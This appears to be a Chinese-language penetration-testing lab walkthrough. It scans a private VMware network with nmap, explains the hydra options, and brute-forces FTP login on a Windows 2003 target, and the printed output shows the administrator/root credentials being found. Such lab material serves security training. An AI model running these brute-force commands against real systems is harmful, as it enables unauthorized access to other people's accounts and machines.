环境
kali - 10.0.0.3
,win2003_server - 10.0.0.2
工具
-扫描工具:nmap
-爆破工具:hydra(九头蛇)
nmap命令
nmap -sP 10.0.0.1/24
Nmap scan report for 10.0.0.1
Host is up (0.00067s latency).
All 1000 scanned ports on 10.0.0.1 are filtered
MAC Address: 00:0C:29:E1:B4:97 (VMware)
Nmap scan report for 10.0.0.2
Host is up (0.00082s latency).
Not shown: 993 closed ports
PORT STATE SERVICE
21/tcp open ftp
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
1025/tcp open NFS-or-IIS
1117/tcp open ardus-mtrns
3389/tcp open ms-wbt-server
MAC Address: 00:0C:29:EE:EE:31 (VMware)
Nmap scan report for 10.0.0.3
Host is up (0.0000030s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
22/tcp open ssh
我们通过nmap查询到目标的端口之后,开始着手爆破
hydra命令
-R #继续从上一次进度接着破解。
-S #采用SSL链接。
-s #PORT 可通过这个参数指定非默认端口。
-l #LOGIN 指定破解的用户,对特定用户破解。
-L #FILE 指定用户名字典。
-p #PASS 小写,指定密码破解,少用,一般是采用密码字典。
-P #FILE 大写,指定密码字典。
-e #ns 可选选项,n:空密码试探,s:使用指定用户和密码试探。
-C #FILE 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数。
-M #FILE 指定目标列表文件一行一条。
-o #FILE 指定结果输出文件。
-f #在使用-M参数以后,找到第一对登录名或者密码的时候中止破解。
-t #TASKS 同时运行的线程数,默认为16。
-w #TIME 设置最大超时的时间,单位秒,默认是30s。
-v/-V #显示详细过程。
server #目标ip
service #指定服务名
OPT #可选项
##爆破ftp服务
hydra -L user.txt -P pass.txt -t 2 -vV -e ns 10.0.0.2 ftp
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-03-16 19:31:56
[DATA] max 2 tasks per 1 server, overall 2 tasks, 5 login tries (l:1/p:5), ~3 tries per task
[DATA] attacking ftp://10.0.0.2:21/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[ATTEMPT] target 10.0.0.2 - login "administrator" - pass "administrator" - 1 of 5 [child 0] (0/0)
[ATTEMPT] target 10.0.0.2 - login "administrator" - pass "" - 2 of 5 [child 1] (0/0)
[ATTEMPT] target 10.0.0.2 - login "administrator" - pass "root" - 3 of 5 [child 1] (0/0)
[21][ftp] host: 10.0.0.2 login: administrator password: root
[STATUS] attack finished for 10.0.0.2 (waiting for children to complete tests)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-03-16 19:31:59